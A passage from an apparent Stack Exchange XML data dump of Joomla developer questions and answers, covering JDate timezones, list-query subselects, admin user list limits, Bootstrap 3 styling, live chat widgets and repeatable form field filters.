this?&lt;/p&gt;&#xA;" OwnerUserId="4028" LastActivityDate="2015-09-01T19:03:59.973" Title="getListQuery: Get values from another method" Tags="|joomla-3.4|jmodel|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12412" PostTypeId="1" AcceptedAnswerId="12417" CreationDate="2015-09-01T18:36:18.360" Score="2" ViewCount="144" Body="&lt;p&gt;I tried to apply timezone offset to a variable. Here is my code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$time_offset = &quot;Australia/Sydney&quot;;&#xA;$start_time = &quot;2015-07-31 15:03:00&quot;;&#xA;&#xA;$date_end = JDate::getInstance('now', $time_offset);&#xA;$date_start = JDate::getInstance($start_time, $time_offset);&#xA;&#xA;echo $date_end;&#xA;echo $date_start;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;$date_end&lt;/em&gt; is returned a correct value but &lt;em&gt;$date_start&lt;/em&gt; returned the original value (didn't change).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I missed here?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2015-09-02T03:53:46.363" Title="How to set timeoffset for a specific date with JDdate" Tags="|joomla-3.4|date|jdate|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12413" PostTypeId="2" ParentId="12410" CreationDate="2015-09-01T19:03:59.973" Score="3" Body="&lt;p&gt;I assume you have 2 tables and you want to display a list of items from table 1 but add also some data from table 2 (like the total sum) &lt;strong&gt;for each item&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to use default Joomla functionality you have to get the total sum in your list query for the first table. This can be done with the help of subselects (&lt;a href=&quot;https://dev.mysql.com/doc/refman/5.0/en/subqueries.html&quot; rel=&quot;nofollow&quot;&gt;MySQL subqueries&lt;/a&gt;). You won't be able to use Joomla sort functions if you assign data from the second table via PHP like you currently do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your query would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT &#xA;    a.field1, &#xA;    a.field2, &#xA;   (SELECT SUM(b.field3) FROM table2 AS b WHERE b.table1_id = a.id) AS totalsum&#xA;FROM &#xA;    table1 AS a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The sort field could look like this then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo JHtml::_('searchtools.sort', 'COM_HERO_HEADING_TOTALSUM', 'totalsum', $listDirn, $listOrder)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am happy to edit / improve this answer if you provide more information.&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-09-01T19:03:59.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12414" PostTypeId="2" ParentId="4953" CreationDate="2015-09-01T19:09:13.907" Score="-2" Body="&lt;p&gt;Or you can use a template from Yootheme, set it as default, then in that template config select &quot;do not load bootstrap.&quot;&lt;/p&gt;&#xA;" OwnerUserId="5838" LastActivityDate="2015-09-01T19:09:13.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12416" PostTypeId="2" ParentId="1150" CreationDate="2015-09-02T02:03:46.743" Score="4" Body="&lt;p&gt;Try below code for checking if the login user is super admin or other users...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;$isAdmin = $user-&amp;gt;get('isRoot');&#xA;if ($isAdmin) {&#xA;echo 'You are an Administrator';&#xA;}&#xA;else  {&#xA;echo 'You are not Administrator';&#xA;}&#xA;&#xA;OR&#xA;&#xA;function isSuperAdmin()&#xA;{&#xA;  $user = JFactory::getUser();&#xA;  return $user-&amp;gt;get('isRoot');&#xA;}    &#xA;&#xA;if (isSuperAdmin()) &#xA;{&#xA;  echo 'You are an Administrator';&#xA;}&#xA;else  {&#xA;  echo 'You are not Administrator';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4035" LastActivityDate="2015-09-02T02:03:46.743" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12417" PostTypeId="2" ParentId="12412" CreationDate="2015-09-02T03:53:46.363" Score="1" Body="&lt;p&gt;I fixed it by creating JDate object&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$time_offset = &quot;Australia/Sydney&quot;;&#xA;$start_time = &quot;2015-07-31 15:03:00&quot;;&#xA;&#xA;$date_end = JDate::getInstance('now', $time_offset);&#xA;$date_start = new JDate($start_time);&#xA;$date_start-&amp;gt;setTimezone(new DateTimeZone($time_offset));&#xA;&#xA;echo $date_end;&#xA;echo $date_start;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2015-09-02T03:53:46.363" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12418" PostTypeId="1" AcceptedAnswerId="12421" CreationDate="2015-09-02T08:43:54.477" Score="2" ViewCount="342" Body="&lt;p&gt;I have approx 14,000 users on my Joomla website. I wondered what would happen if I tried to view all the users on one page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Predictably, it wouldn't let me view all the users and now gives me a white screen. &#xA;I can't seem to access the users page at all:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;administrator/index.php?option=com_users&amp;amp;view=users&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I change the settings so that I can load the users page again and only see 10 users at a time? &lt;/p&gt;&#xA;" OwnerUserId="4097" LastEditorUserId="126" LastEditDate="2015-09-02T14:27:47.130" LastActivityDate="2015-09-02T14:27:47.130" Title="Resetting 'view all users' back to 10 per page" Tags="|administrator|user|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12419" PostTypeId="2" ParentId="12418" CreationDate="2015-09-02T08:58:02.840" Score="3" Body="&lt;p&gt;You can try few things : &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Deleting sessions table data&lt;/li&gt;&#xA;&lt;li&gt;clearing cache from admin backend&lt;/li&gt;&#xA;&lt;li&gt;Try to add &amp;amp;list[limit]=5 to the URL so it will prevent loading all&#xA;the users.&lt;/li&gt;&#xA;&lt;li&gt;clear browsers cache.&#xA;&lt;br&gt;&lt;br&gt;&#xA;I hope it will work :)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3637" LastActivityDate="2015-09-02T08:58:02.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12420" PostTypeId="2" ParentId="12418" CreationDate="2015-09-02T10:04:13.913" Score="0" Body="&lt;p&gt;A white screen means there's a PHP error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seeing as you're trying to load 14,000 rows from the &lt;code&gt;#__users&lt;/code&gt; table, which then also loads 14,000+- users from the &lt;code&gt;#__user_usergroup_map&lt;/code&gt; tables, you're trying to pull data from a minimum of 28,000 table rows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;s you can imagine, this is qute a lot, therefore I assume the error is related to PHP's memory limit or the max execution time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Joomla Global Configuration, you can set error reporting to a higher level which will show you the error rather than a white screen.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-09-02T10:04:13.913" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12421" PostTypeId="2" ParentId="12418" CreationDate="2015-09-02T10:56:06.640" Score="2" Body="&lt;p&gt;Viewing all 14000 records in one table list on the browser, is almost impossible. It will be a heavy duty for the browser itself, apart from the query's memory consumption on the server level, which most likely will lead to a php fatal error.&lt;/p&gt;&#xA;&lt;h2&gt;How to reset:&lt;/h2&gt;&#xA;&lt;h3&gt;1. Logout &amp;amp; re-Login&lt;/h3&gt;&#xA;&lt;p&gt;To reset the setting, simply log-out and re-login.&lt;br /&gt;&#xA;The User Manager list should be reset to its default.&lt;br /&gt;&#xA;&lt;br /&gt;&lt;/p&gt;&#xA;&lt;h3&gt;2. Filters on the url&lt;/h3&gt;&#xA;&lt;p&gt;You can also force the user manager list to show less users/page, by setting a limit on the query with manually adding parameters on the url:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;administrator/index.php?option=com_users&amp;amp;view=users&amp;amp;list[limit]=10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Some more info about using filters on the urls in the admin of Joomla you can find here:&lt;br /&gt;&#xA;&lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/3652/filtering-com-content-in-the-backend-by-url-in-joomla-3-3-1&quot;&gt;Filtering com_content in the backend by url in Joomla 3.3.1&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-09-02T11:29:51.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12423" PostTypeId="1" CreationDate="2015-09-02T13:34:41.143" Score="0" ViewCount="369" Body="&lt;p&gt;I'm developing a component for the front end (Joomla 3.x version). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used Bootstrap 3 for all the component views. I know Joomla is using bootstrap 2, so I unset the bootstrap 2 css &amp;amp; js files in my &lt;code&gt;componentname.php&lt;/code&gt; and added the bootstrap 3 CSS and Javascript files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The text box is not showing correctly (height of the text box is very low) and the form fields are 100% width.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I solve the text box problem and reduce the width of form controls ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;componentname.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$script = JURI::Root(true).'/media/jui/js/bootstrap.min.js';&#xA;unset ($script);&#xA;&#xA;$css = JURI::Root(true).'/media/jui/css/bootstrap.min.css';&#xA;unset ($css);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;views/viewname/default.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;&amp;lt;label  for=&quot;parent_id&quot; class=&quot; hasTooltip required&quot;&amp;gt;Add Group&amp;lt;/label&amp;gt;&#xA;    &amp;lt;select name=&quot;parent_id&quot; class=&quot;inputbox&quot; id=&quot;parent_id&quot;  size=&quot;1&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;1&quot;&amp;gt;yes&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;0&quot;&amp;gt;No&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;    &amp;lt;label  for=&quot;firstname&quot; class=&quot; hasTooltip required&quot; title=&quot;&quot;&amp;gt;Enter First name&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input class=&quot;form-control&quot; type=&quot;text&quot; name=&quot;firstname&quot; id=&quot;firstname&quot;   /&amp;gt; &#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;    &amp;lt;label  for=&quot;lastname&quot; class=&quot; hasTooltip required&quot; title=&quot;&quot;&amp;gt;Enter First name&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input class=&quot;form-control&quot; type=&quot;text&quot; name=&quot;lastname&quot; id=&quot;lastname&quot;   /&amp;gt; &#xA;  &amp;lt;/div&amp;gt;&#xA; &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;    &amp;lt;label  for=&quot;sub_fmt&quot; class=&quot; hasTooltip required&quot; title=&quot;&quot;&amp;gt;Enter Long Text&amp;lt;/label&amp;gt;&#xA;    &amp;lt;textarea name='sub_fmt' id='sub_fmt' rows='3' class=&quot;form-control&quot; cols='40'&amp;gt;&amp;lt;/textarea&amp;gt; &#xA;  &amp;lt;/div&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8J9q8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8J9q8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2240" LastEditorUserId="1629" LastEditDate="2015-09-02T18:28:05.217" LastActivityDate="2015-09-03T08:54:20.410" Title="Component views compatible with Bootstrap 3 in Joomla 3.x" Tags="|joomla-3.x|development|bootstrap|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12424" PostTypeId="2" ParentId="12400" CreationDate="2015-09-02T13:58:25.357" Score="0" Body="&lt;p&gt;Since the striped grey background looked strange in a two column format, I added this to remove it retaining the hover:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.list-striped li:nth-child(odd), .list-striped dd:nth-child(odd), .row-striped .row:nth-child(odd), .row-striped .row-fluid:nth-child(odd), .cat-list-row0 {&#xA;    background-color: rgba(232, 102, 102, 0);&#xA;}&#xA;&#xA;.list-striped li:hover, .list-striped dd:hover, .row-striped .row:hover, .row-striped .row-fluid:hover, .cat-list-row0:hover, .cat-list-row1:hover {&#xA;    background-color: #ddd!important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks again!&lt;/p&gt;&#xA;" OwnerUserId="5834" LastActivityDate="2015-09-02T13:58:25.357" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12427" PostTypeId="1" AcceptedAnswerId="12428" CreationDate="2015-09-02T15:26:05.647" Score="3" ViewCount="545" Body="&lt;p&gt;Can someone let me know how to configure my Joomla site so that when someone visits my webpage a pop chat box appears where someone can ask questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You see these pop up chat boxes a lot on many sites that are selling services.&lt;/p&gt;&#xA;" OwnerUserId="5843" LastEditorUserId="1629" LastEditDate="2015-09-02T15:50:43.097" LastActivityDate="2015-10-27T20:06:28.050" Title="Pop Up Chat Box" Tags="|joomla-3.x|extensions|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12428" PostTypeId="2" ParentId="12427" CreationDate="2015-09-02T16:06:42.923" Score="3" Body="&lt;p&gt;Joomla has no built-in chat option, but in addition to looking for a suitable extension at the &lt;a href=&quot;http://extensions.joomla.org/&quot; rel=&quot;nofollow&quot;&gt;Joomla Extensions Directoy&lt;/a&gt;, I suggest looking at some third-party live chat options. There are both free and commercial options available, depending on your requirements. They usually provide you with a simple code snippet that you can include in any website. If you add this code to your template's &lt;code&gt;index.php&lt;/code&gt; file (&lt;code&gt;JOOMLAROOT\templates\YOURTEMPLATE\index.php&lt;/code&gt;) it will be added to all your pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For further control, you can place the code inside a custom HTML module if you want to control on what pages the chat box is displayed. I recommend &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/custom-html-advanced&quot; rel=&quot;nofollow&quot;&gt;Custom HTML Advanced&lt;/a&gt; or similar, because the default Custom HTML module will probably strip out your code upon saving.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of the providers of live chat solutions are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://purechat.com&quot; rel=&quot;nofollow&quot;&gt;PureChat&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://zopim.com&quot; rel=&quot;nofollow&quot;&gt;Zopim&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.olark.com/&quot; rel=&quot;nofollow&quot;&gt;Olark&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://livechat.com&quot; rel=&quot;nofollow&quot;&gt;LiveChat&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.tawk.to/&quot; rel=&quot;nofollow&quot;&gt;Tawk.to&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are many other options, try googling &quot;live chat&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These chat solutions run on their own servers, thus taking load of your server, and most are mobile friendly. You can customize the look of your chat when you sign up for an account, and you get you own dashboard to interact with your clients.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-09-02T16:06:42.923" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="12429" PostTypeId="1" CreationDate="2015-09-02T17:19:51.250" Score="2" ViewCount="455" Body="&lt;p&gt;I'm implementing Facebook login into the Joomla login module. I took code from Facebook SDK site and I'm able to authenticate using Facebook. After authentication I am getting user data also like username and email id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the problem is it is not logging-in to my Joomla site using this information? I am using this information to create an user with random password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I can get any reference of any tutorial where Facebook login is implemented,  that would be really helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know if you want any specific piece of code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to go for any extension because I have few other changes also, in the same module.&lt;/p&gt;&#xA;" OwnerUserId="5431" LastEditorUserId="1629" LastEditDate="2015-09-02T17:41:49.217" LastActivityDate="2015-09-02T18:11:51.377" Title="Login into the joomla using facebook" Tags="|joomla-api|login|registration|facebook|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12430" PostTypeId="2" ParentId="12429" CreationDate="2015-09-02T18:11:51.377" Score="2" Body="&lt;p&gt;This is more of a suggestion than an answer, but you can learn a lot by looking at other extensions to see how &lt;em&gt;they&lt;/em&gt; solved the issue. A component called &lt;a href=&quot;http://extensions.joomla.org/extension/facebook-graph-connect&quot; rel=&quot;nofollow&quot;&gt;Facebook Graph Connect&lt;/a&gt; seems to do something very similar to what you're trying to achieve (automatically logging in using a Facebook account and a random password).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download the extension, install it on a demo site, and take a look at the source code and functions. If the extension is for your own use, you can freely copy any parts of the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also go the other way around, install an extension with similar functionality, and edit it to meet your requirements. This can often be a quicker solution than trying to invent everything from scratch. Again, unless you're going to redistribute your extension, you can use and edit any GPL-licensed code freely. &lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-09-02T18:11:51.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12431" PostTypeId="2" ParentId="11016" CreationDate="2015-09-02T20:18:45.387" Score="1" Body="&lt;p&gt;If you install &lt;a href=&quot;http://extensions.joomla.org/extension/advanced-module-manager&quot; rel=&quot;nofollow&quot;&gt;Advanced Module Manager&lt;/a&gt; (free extension), you'll get a lot more control over your modules and where they will be displayed/hidden. The extension has many filters and conditions, and I'm sure you'll be able to find a setting that hides the module, although I can't tell you exactly what setting will work in your specific case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps a little.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-09-02T20:18:45.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12432" PostTypeId="2" ParentId="11064" CreationDate="2015-09-02T20:25:30.667" Score="0" Body="&lt;p&gt;I always use &lt;a href=&quot;http://extensions.joomla.org/extension/advanced-module-manager&quot; rel=&quot;nofollow&quot;&gt;Advanced Module Manager&lt;/a&gt; when I need more detailed control over my modules and when/where they are displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the publishers website:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Many publishing assignments for your modules!&lt;br&gt;&#xA;  You can control publishing modules by (ALL / ANY):&lt;br&gt;&#xA;              ☆ Menu Item&lt;br&gt;&#xA;              ☆ Homepage&lt;br&gt;&#xA;              ☆ Date range&lt;br&gt;&#xA;              ☆ User Group Levels&lt;br&gt;&#xA;              ☆ Languages&lt;br&gt;&#xA;              ☆ Templates&lt;br&gt;&#xA;              ☆ URLs&lt;br&gt;&#xA;              ☆ Operating Systems&lt;br&gt;&#xA;              ☆ Browsers&lt;br&gt;&#xA;              ☆ Components&lt;br&gt;&#xA;              ☆ Content Page Types&lt;br&gt;&#xA;              ☆ Categories&lt;br&gt;&#xA;              ☆ Articles&lt;br&gt;&#xA;              ☆ Tags&lt;br&gt;&#xA;              ☆ ...and more...&lt;br&gt;&#xA;      You can also choose to mirror the assignment settings of another module!&lt;br&gt;&#xA;      Edit modules in modal popup windows&lt;br&gt;&#xA;      Give modules color labels in the module list for easy searching&lt;br&gt;&#xA;      Option to not show modules that have no output (handy for things like dynamic menus)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-09-02T20:25:30.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12433" PostTypeId="2" ParentId="12233" CreationDate="2015-09-02T20:55:05.433" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://www.akeebabackup.com/products/akeeba-backup.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Akeeba Backup&lt;/a&gt; is the easiest way to transfer your Joomla site, if you really need to clone the website to several computers. But as others already mentioned, why not use an online version? You'll have a hard time synchronizing the databases later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;Cannot connect to mySQL database error&lt;/code&gt; in WAMP almost certainly has to do with the &lt;code&gt;configuration.php&lt;/code&gt; file. By default, the main DB username in WAMP is &lt;code&gt;root&lt;/code&gt;, and the password is empty. But the database &lt;strong&gt;name&lt;/strong&gt; also has to match, and depending on how you imported the database, it might not be the same on all your computers. You can easily check the database name by going to &lt;code&gt;http://localhost/phpmyadmin&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your &lt;code&gt;configuration.php&lt;/code&gt; file should contain these entries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $host = 'localhost';&#xA;public $user = 'root';&#xA;public $password = '';&#xA;public $db = 'yourDatabaseName';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, one more issue you should check: Is the MySQL service running? Left-click the small Wamp icon in your taskbar, select &lt;em&gt;MySQL&lt;/em&gt; -&gt; &lt;em&gt;Service&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2bqfq.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2bqfq.jpg&quot; alt=&quot;WAMP Status&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Skype is known to cause conflicts with WAMPserver, because both uses &lt;em&gt;Port 80&lt;/em&gt; by default. Three quick solutions can be found &lt;a href=&quot;http://www.steptoinstall.com/install-both-wamp-and-skype-conflict-windows-3-ways.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, I usually choose option 2 (Open Skype -&gt; Tools -&gt; Options -&gt; Advanced -&gt; Connection and uncheck &quot;use port 80 and 443 as alternatives for incoming connections&quot;), it's quick and easy.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-09-02T20:55:05.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12435" PostTypeId="1" AcceptedAnswerId="12439" CreationDate="2015-09-02T22:35:48.227" Score="0" ViewCount="245" Body="&lt;p&gt;I have a Joomla 3 site. It works fine, but I found out that it can display contents for invalid links for example i tried something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mysite/1/2/3/4/5/6/7/8/9/10/11/12/13/14/15/16&quot; rel=&quot;nofollow&quot;&gt;http://mysite/1/2/3/4/5/6/7/8/9/10/11/12/13/14/15/16&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and I did not get &quot;The requested page can't be found.&quot;, instead I got one of the pages in the website. Also i tried writing words instead of numbers and it worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so I was wondering how can i force checking the urls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: my joomla version is 3.4.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is highly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="5844" LastActivityDate="2015-09-03T08:47:10.887" Title="Joomla 3 accepts invalid urls" Tags="|joomla-3.x|url|validation|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12436" PostTypeId="1" CreationDate="2015-09-03T03:48:08.187" Score="0" ViewCount="220" Body="&lt;p&gt;I have a repeatable field in my custom module, and a &lt;code&gt;textarea&lt;/code&gt; field inside it. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;repeatable_field&quot;&#xA;    type=&quot;Repeatable&quot;&#xA;    icon=&quot;list&quot;&#xA;    label=&quot;My Repeatable field&quot;&amp;gt;&#xA;    &amp;lt;fieldset hidden=&quot;true&quot; name=&quot;repeatable_field_modal&quot; repeat=&quot;true&quot;&amp;gt;&#xA;        &amp;lt;field name=&quot;text_area&quot;&#xA;            label=&quot;Text&quot;&#xA;            size=&quot;30&quot;&#xA;            type=&quot;textarea&quot;&#xA;            filter=&quot;raw&quot; /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even if I add &lt;code&gt;filter=&quot;raw&quot;&lt;/code&gt; to the field declaration, any HTML code removed from my &lt;code&gt;textarea&lt;/code&gt; field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I apply a filter to fields inside a Repeatable element?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-09-03T03:48:08.187" Title="Filter not working on repeatable field type" Tags="|development|module|joomla-3.4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12437" PostTypeId="2" ParentId="12436" CreationDate="2015-09-03T03:48:08.187" Score="3" Body="&lt;p&gt;In order to apply a filter to a field inside a Repeatable field, the filter has to be applied to the &lt;em&gt;repeatable element itself&lt;/em&gt;, not to fields inside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;repeatable_field&quot;&#xA;    type=&quot;Repeatable&quot;&#xA;    icon=&quot;list&quot;&#xA;    label=&quot;My Repeatable field&quot;&#xA;    filter=&quot;raw&quot;&amp;gt;&#xA;    &amp;lt;fieldset hidden=&quot;true&quot; name=&quot;repeatable_field_modal&quot; repeat=&quot;true&quot;&amp;gt;&#xA;        &amp;lt;field name=&quot;text_area&quot;&#xA;            label=&quot;Text&quot;&#xA;            size=&quot;30&quot;&#xA;            type=&quot;textarea&quot; /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-09-03T03:48:08.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12438" PostTypeId="2" ParentId="12112" CreationDate="2015-09-03T07:51:23.153" Score="0" Body="&lt;p&gt;Finally I was able to get a solution for this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created an onClick event on the sidebar which goes to a javascript function. Inside of this javascript function I received the id of the clicked node on the sidebar, and with a jQuery ajax call I post this id to a function inside the controller. In this function I get the children nodes of the passed id (from the database) and parse them to json which the success part of the ajax call receives. Here, and with this json return, I clear the id with the table and create the table again with the innerHtml property of the getbyid function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was the only way I could think of doing it. If someone knows another please share!&lt;/p&gt;&#xA;" OwnerUserId="5508" LastActivityDate="2015-09-03T07:51:23.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12439" PostTypeId="2" ParentId="12435" CreationDate="2015-09-03T08:47:10.887" Score="0" Body="&lt;p&gt;According to the enabled SEF mode, Joomla router translates the Url in different ways. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the router can get a valid route, it shows a page and the rest of the url is discarded or converted to parameters to a components. In practice, these extra parameters could not be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If an Url cannot be routed to a component, then it is an invalid Url and an error is shown. Otherwise, there is no way to know what parameters are valid or not for each extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, there is no need of this extra processing overhead. Joomla shows valid Urls (generated via Joomla router). If there are invalid Urls, they have been generated by mistake or by an external actor, like spammers redirecting traffic. In any case, the router can only show the right content or discard the rest of the Url (for safety).&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-09-03T08:47:10.887" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
